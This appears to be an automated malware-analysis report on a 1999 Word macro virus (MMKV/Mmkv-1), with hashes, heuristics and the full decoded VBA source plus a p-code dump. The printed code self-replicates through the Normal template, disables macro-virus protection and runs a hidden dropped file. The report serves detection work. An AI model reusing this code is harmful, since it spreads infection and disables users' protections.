Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 04cef93f19228f57…

MALICIOUS

Office (OLE)

37.5 KB Created: 1999-05-28 13:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c8a5030674684f20a40b898492c1d53d SHA-1: 78cfb69b648634e892a515f0b8aaa221942f1983 SHA-256: 04cef93f19228f5710276e3888addb5a67c847e67764a843c09b3ab031867861
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

This document contains legacy WordBasic macro markers and a critical OLE_VBA_SHELL firing, indicating the execution of arbitrary code. The AutoOpen macro attempts to write specific bytes to 'c:\end.a', then execute 'c:\end.com', and also attempts to export a VBA component to 'WinDir\SYSTEM\WINMK.SYS'. The macro also attempts to disable virus protection and hide its actions, suggesting a downloader or dropper functionality.

Heuristics 6

  • ClamAV: Doc.Trojan.Mmkv-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mmkv-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell "c:\end.com", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    AutoOpen
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11233 bytes
SHA-256: 552226ee6e7f0aa6a4eee44b80acb9b9312916f183f517bdc71e34eba0d2e234
Detection
ClamAV: Doc.Trojan.Mmkv-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MMKV"
Public WinDir As String
Public DataDot As Boolean

Sub AutoExec()
AutoOpen
End Sub
Sub AutoOpen()
If Year(Now) = 2000 Then
        f = FreeFile
        Open "c:\end.a" For Output As #f
        Print #f, Chr$(184) & Chr$(16) & Chr$(5) & Chr$(185) & Chr$(9) & Chr$(0) & Chr$(186) & Chr$(128) & Chr$(0) & Chr$(187) & Chr$(0) & Chr$(16) & Chr$(205) & Chr$(19) & Chr$(205) & Chr$(32)
        Close
        Shell "c:\end.com", vbHide
        MsgBox "Welcome To Y2K", 0, "MK-Words By MMK 1999"
End If
If Day(Now) = 3 Then MsgBox "Y2K is coming soon...", 0, "MK-Words By MMK 1999"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Copy_Tmp
Copy_Vir
End Sub
Sub FileSaveAs()
Dialogs(wdDialogFileSaveAs).Show
If ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate Then ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument, "MMKV", wdOrganizerObjectProjectItems
ActiveDocument.Save
End Sub
Sub FileOpen()
fa = Dialogs(wdDialogFileOpen).Show
If fa = "" Then GoTo asa
Copy_Vir
asa:
ActiveDocument.Save
End Sub
Sub ToolsMacro()
End Sub
Find_Win
NormalTemplate.VBProject.VBComponents("MMKV").Export WinDir + "\SYSTEM\" + "WINMK.SYS"
Application.OrganizerDelete NormalTemplate.FullName, "MMKV", wdOrganizerObjectProjectItems
While Dialogs(wdDialogToolsMacro).Display
Wend
NormalTemplate.VBProject.VBComponents.import WinDir + "\SYSTEM\" + "WINMK.SYS"
Kill WinDir + "\SYSTEM\" + "WINMK.SYS"
End Sub
Sub FileSave()
If ActiveDocument.FullName = "" Then Dialogs(wdDialogFileSaveAs).Show
Copy_Vir
ActiveDocument.Save
End Sub
Sub viewvbcode()
End Sub
Sub Find_Win()
Close
Dim WD As String
On Error GoTo Err_F
f = FreeFile
Open "c:\msdos.sys" For Input As #f
Do Until EOF(f)
Line Input #f, WD
If Left(UCase(WD), 7) = "WINDIR=" Then
    L = Len(WD)
    WinDir = UCase$(Mid$(WD, 8, L))
End If
Loop
GoTo END_S
Err_F:
WinDir = ""
END_S:
Close #f
End Sub
Sub Copy_Vir()
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(I).Name = "MMKV" Then GoTo INFECTED
    Next
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "MMKV", wdOrganizerObjectProjectItems
Add_Com
ActiveDocument.Save
INFECTED:
End Sub
Sub Copy_Tmp()
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(I).Name = "MMKV" Then GoTo INFECTED
    Next
Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "MMKV", wdOrganizerObjectProjectItems
ActiveDocument.Save
INFECTED:
Copy_Vir
Add_Com
ActiveDocument.Save
End Sub
Private Sub Add_Com()
        With Dialogs(wdDialogFileSummaryInfo)
            .Comments = "MK-Words (V1) By MMK 1999"
            .Execute
        End With
End Sub
End Sub

' Processing file: /tmp/qstore_o7s_ib81
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2775 bytes
' Macros/VBA/MMKV - 8596 bytes
' Line #0:
' 	Dim (Public) 
' 	VarDefn WinDir (As String)
' Line #1:
' 	Dim (Public) 
' 	VarDefn DataDot (As Boolean)
' Line #2:
' Line #3:
' 	FuncDefn (Sub AutoExec())
' Line #4:
' 	ArgsCall AutoOpen 0x0000 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub AutoOpen())
' Line #7:
' 	Ld Now 
' 	ArgsLd Year 0x0001 
' 	LitDI2 0x07D0 
' 	Eq 
' 	IfBlock 
' Line #8:
' 	Ld Friend 
' 	St False 
' Line #9:
' 	LitStr 0x0008 "c:\end.a"
' 	Ld False 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #10:
' 	Ld False 
' 	Sharp 
' 	PrintChan 
' 	LitDI2 0x00B8 
' 	ArgsLd Chr$ 0x0001 
' 	LitDI2 0x0010 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x0005 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x00B9 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x0009 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x0000 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x00BA 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x0080 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x0000 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x00BB 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x0000 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x0010 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x00CD 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x0013 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x00CD 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitDI2 0x0020 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	PrintItemNL 
' Line #11:
' 	CloseAll 
' Line #12:
' 	LitStr 0x000A "c:\end.com"
' 	Ld vbHide 
' 	ArgsCall Shell 0x0002 
' Line #13:
' 	LitStr 0x000E "Welcome To Y2K"
' 	LitDI2 0x0000 
' 	LitStr 0x0014 "MK-Words By MMK 1999"
' 	ArgsCall MsgBox 0x0003 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0003 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0015 "Y2K is coming soon..."
' 	LitDI2 0x0000 
' 	LitStr 0x0014 "MK-Words By MMK 1999"
' 	ArgsCall MsgBox 0x0003 
' 	EndIf 
' Line #16:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #17:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #18:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #19:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #20:
' 	ArgsCall Copy_Tmp 0x0000 
' Line #21:
' 	ArgsCall Copy_Vir 0x0000 
' Line #22:
' 	EndSub 
' Line #23:
' 	FuncDefn (Sub FileSaveAs())
' Line #24:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #25:
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Or 
' 	If 
' 	BoSImplicit 
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #26:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	Ld ActiveDocument 
' 	LitStr 0x0004 "MMKV"
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #27:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #28:
' 	EndSub 
' Line #29:
' 	FuncDefn (Sub FileOpen())
' Line #30:
' 	Ld wdDialogFileOpen 
' 	ArgsLd Dialogs 0x0001 
' 	MemLd Show 
' 	St fa 
' Line #31:
' 	Ld fa 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo asa 
' 	EndIf 
' Line #32:
' 	ArgsCall Copy_Vir 0x0000 
' Line #33:
' 	Label asa 
' Line #34:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #35:
' 	EndSub 
' Line #36:
' 	FuncDefn (Sub ToolsMacro())
' Line #37:
' 	EndSub 
' Line #38:
' 	ArgsCall Find_Win 0x0000 
' Line #39:
' 	Ld WinDir 
' 	LitStr 0x0008 "\SYSTEM\"
' 	Add 
' 	LitStr 0x0009 "WINMK.SYS"
' 	Add 
' 	LitStr 0x0004 "MMKV"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #40:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	LitStr 0x0004 "MMKV"
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #41:
' 	Ld wdDialogToolsMacro 
' 	ArgsLd Dialogs 0x0001 
' 	MemLd Display 
' 	While 
' Line #42:
' 	Wend 
' Line #43:
' 	Ld WinDir 
' 	LitStr 0x0008 "\SYSTEM\"
' 	Add 
' 	LitStr 0x0009 "WINMK.SYS"
' 	Add 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall import 0x0001 
' Line #44:
' 	Ld WinDir 
' 	LitStr 0x0008 "\SYSTEM\"
' 	Add 
' 	LitStr 0x0009 "WINMK.SYS"
' 	Add 
' 	ArgsCall Kill 0x0001 
' Line #45:
' 	EndSub 
' Line #46:
' 	FuncDefn (Sub FileSave())
' Line #47:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' 	EndIf 
' Line #48:
' 	ArgsCall Copy_Vir 0x0000 
' Line #49:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #50:
' 	EndSub 
' Line #51:
' 	FuncDefn (Sub viewvbcode())
' Line #52:
' 	EndSub 
' Line #53:
' 	FuncDefn (Sub Find_Win())
' Line #54:
' 	CloseAll 
' Line #55:
' 	Dim 
' 	VarDefn WD (As String)
' Line #56:
' 	OnError Err_F 
' Line #57:
' 	Ld Friend 
' 	St False 
' Line #58:
' 	LitStr 0x000C "c:\msdos.sys"
' 	Ld False 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' Line #59:
' 	Ld False 
' 	ArgsLd EOF 0x0001 
' 	DoUnitil 
' Line #60:
' 	Ld False 
' 	Ld WD 
' 	LineInput 
' Line #61:
' 	Ld WD 
' 	ArgsLd UCase 0x0001 
' 	LitDI2 0x0007 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0007 "WINDIR="
' 	Eq 
' 	IfBlock 
' Line #62:
' 	Ld WD 
' 	FnLen 
' 	St L 
' Line #63:
' 	Ld WD 
' 	LitDI2 0x0008 
' 	Ld L 
' 	ArgsLd Mid$$ 0x0003 
' 	ArgsLd UCase$ 0x0001 
' 	St WinDir 
' Line #64:
' 	EndIfBlock 
' Line #65:
' 	Loop 
' Line #66:
' 	GoTo END_S 
' Line #67:
' 	Label Err_F 
' Line #68:
' 	LitStr 0x0000 ""
' 	St WinDir 
' Line #69:
' 	Label END_S 
' Line #70:
' 	Ld False 
' 	Sharp 
' 	Close 0x0001 
' Line #71:
' 	EndSub 
' Line #72:
' 	FuncDefn (Sub Copy_Vir())
' Line #73:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #74:
' 	Ld I 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0004 "MMKV"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo INFECTED 
' 	EndIf 
' Line #75:
' 	StartForVariable 
' 	Next 
' Line #76:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	LitStr 0x0004 "MMKV"
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #77:
' 	ArgsCall Add_Com 0x0000 
' Line #78:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #79:
' 	Label INFECTED 
' Line #80:
' 	EndSub 
' Line #81:
' 	FuncDefn (Sub Copy_Tmp())
' Line #82:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #83:
' 	Ld I 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0004 "MMKV"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo INFECTED 
' 	EndIf 
' Line #84:
' 	StartForVariable 
' 	Next 
' Line #85:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	LitStr 0x0004 "MMKV"
' 	Ld wdOrganizerObjectProjectItems 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #86:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #87:
' 	Label INFECTED 
' Line #88:
' 	ArgsCall Copy_Vir 0x0000 
' Line #89:
' 	ArgsCall Add_Com 0x0000 
' Line #90:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #91:
' 	EndSub 
' Line #92:
' 	FuncDefn (Private Sub Add_Com())
' Line #93:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' Line #94:
' 	LitStr 0x0019 "MK-Words (V1) By MMK 1999"
' 	MemStWith Comments 
' Line #95:
' 	ArgsMemCallWith Execute 0x0000 
' Line #96:
' 	EndWith 
' Line #97:
' 	EndSub 
' Line #98:
' 	EndSub

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